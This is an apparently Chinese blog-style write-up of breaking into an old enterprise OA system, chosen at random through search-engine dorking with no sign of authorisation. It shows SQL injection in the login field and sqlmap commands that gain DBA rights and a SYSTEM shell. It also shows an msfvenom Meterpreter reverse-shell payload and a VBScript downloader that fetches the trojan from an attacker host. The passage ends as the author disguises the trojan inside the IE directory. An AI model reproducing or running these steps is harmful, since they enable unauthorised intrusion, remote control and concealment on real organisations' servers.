某OA系统从SYSTEM权限SQL注入到内网漫游

简单的漏洞，破坏性影响。

0x01 发现漏洞

七月正值暑假，闲暇时光在百度上inurl一番，找到了一个古老的企业OA系统

IP站点，没有域名，扫过一眼，.NET流行时代的普遍漏洞浮现在脑海里——SQL注入

在用户名里输入admin’，不负期望地报了错

很明显，前后端都没有对用户的输入进行过滤，直接将’带入了SQL语句进行。初步判断，此OA系统存在SQL注入漏洞。

0x02 漏洞验证

打开BurpSuite，设置好浏览器代理，抓下HTTP请求，一气呵成。

问题参数为 txtLogin=admin%27

可将整个请求复制到 test.txt，使用sqlmap -r 来注入

sqlmap -u http://x.x.x.x/xx.aspx --forms

至此，可以确认存在 error-based、stack quires和time-based三个类型的漏洞

0x03 判断数据库用户的权限

发现SQL注入后，首先要判断权限，高权限的注入可以为后续渗透省下很大功夫

sqlmap -u http://x.x.x.x/xx.aspx --forms --is-dba

非常nice，再次不负期望地返回了DBA权限

输入以下命令，获得一个shell

sqlmap -u http://x.x.x.x/xx.aspx --forms --os-shell

NT/SYSTEM权限，时隔两个多月，复现有误，不予贴图

0x04 反弹shell 深入内网

生成一个shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx > /var/www/html/shell.exe

由于环境艰难，不能直接上传文件，我选择了用vbs脚本来下载木马到服务器

代码如下：

Set post=CreateObject("Msxml2.XMLHTTP")
post.Open "GET","http://x.x.x.x/shell.exe"
'发送请求
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
'等待3秒，等文件下载
wscript.sleep 3000 
aGet.Write(post.responseBody)'写数据
aGet.SaveToFile "shell.exe",2

用echo命令缓慢地写完了vbs脚本之后，顺利运行，下载了木马

更改名字，移动到IE安装目录进行伪装